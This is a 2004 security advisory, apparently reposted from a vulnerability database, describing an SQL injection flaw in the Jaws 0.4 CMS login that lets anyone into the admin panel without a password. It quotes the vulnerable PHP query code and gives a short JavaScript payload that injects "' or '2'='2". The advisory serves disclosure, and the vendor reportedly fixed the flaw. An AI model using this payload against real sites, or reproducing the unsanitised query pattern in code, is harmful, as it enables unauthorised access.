Jaws 0.4: authentication bypass

Type securityvulns
Reporter Securityvulns
Modified 2004-07-30T00:00:00



//// Vulnerable Program: JAWS //// //// Version : 0.4 //// //// Url: http://www.jaws.com.mx //// //// The Bug: SQL injection to allows bypass the auth. //// //// Date: Today, July 28 off 2004 //// //// Author: Fernando Quintero (a.k.a nonroot) //// Email: nando@udea.edu.co


I. Affected software description:

Jaws is a Framework and Content Management System for building dynamic web sites. It aims to be User Friendly giving ease of use and lots of ways to customize web sites, but at the same time is Developer Frendly, it offers a simple and powerful framework to hack your own modules. Jaws is Free Software under the GPL.

II. Bug:

A vulnerability exists in jaws 0.4 that allows that anyone to get in the control panel with administrator rights without a password. The bug exist in the query when the system tries to authenticate the user, there anyone can inject sql code. This is not so important if there exists the "magic_quotes = ON" option in the php.ini. But what if jaws disable it by itself? All can understand that a possible attack by SQL would be successful and the the vulnerable serious system All the people can understand that the sql injection is carry out succesfully and the system would be vulnerable.

The lines in game are :

In the main config file of jaws we can see:

//config.php ... // We don't like magic_quotes ;-) no_magic_quotes(); ... //end

The function no_magic_quotes() disable indeed the magic_quotes in the system for jaws, allowing to open to a possible attack of SQL injection.

Now the vulnerable code:

//controlpanel.php line : 107 o por ahi cerca.

1 function login() 2 { 3 if(empty($_POST["crypted_password"])) 4 $sqllogin = "select id, email, name, username from jaws_user where username = '".$_POST["user"]."' and password = '".md5($_POST["password"])$ 5 else{ 6 $sqllogin = "select id, email, name, username from jaws_user where username = '".$_POST["user"]."' and password = 'strtolower(".$_POST["crypted_passwor$ 7 } 8 $rs = $GLOBALS["app"]->db->query($sqllogin); 9 if ($row = $rs->fetch_row()) 10 { 11 $session_id = rand(); 12 setcookie ("logged",md5($session_id),time()+(360012)); 13 setcookie ("username",$row["username"],time()+(360012)); 14 $_SESSION["logged"] = $session_id; 15 $_SESSION["userid"] = $row["id"]; 16 header("Location: admin.php"); 17 } else { 18 return $this->login_form("Bad login"); 19 } 20 }

In [3] the state of the "crypted_password" variable is checked, in [6] it's executed using the content of variables without a correct validation.

This allows to inject some code through the variables and and to manage to be validated in the system.

a possible way to exploit it should be:

Modifying the javascript function in the Login.html file to:

<script type="text/javascript">

function crypt_form(form) { var new_password = calcMD5(form.password.value); form.crypted_password.value = "' or '2'='2"; form.password.value = ""; return true; } </script>

The java script function always will return crypted_password= ' OR '2'='2 when the form is loaded we can introduce any user and any password and be validated in the system ;)

The reason for this is that query always will seem thus

select id, email, name, username from jaws_user where username = 'any-spanish-word;)' and password = '' or '2'='2'

Where '2'='2' always will be true, and any user will be validated.

We can also see from [3] it´s possible inject sql code trought "user" or "password" variables.


The coders where contacted and the code was fixed in the cvs ;). and they published information about the bug in their home page.


- Greets All the community. I learn of you!
- Silence Team and the GIGAX Staff.


Fernando Quintero nando@gigax.org Silence Team


  • I know it´s a simple bug, but it can be instructive

  • Sorry by the english, so !! Viva COLOMBIA !!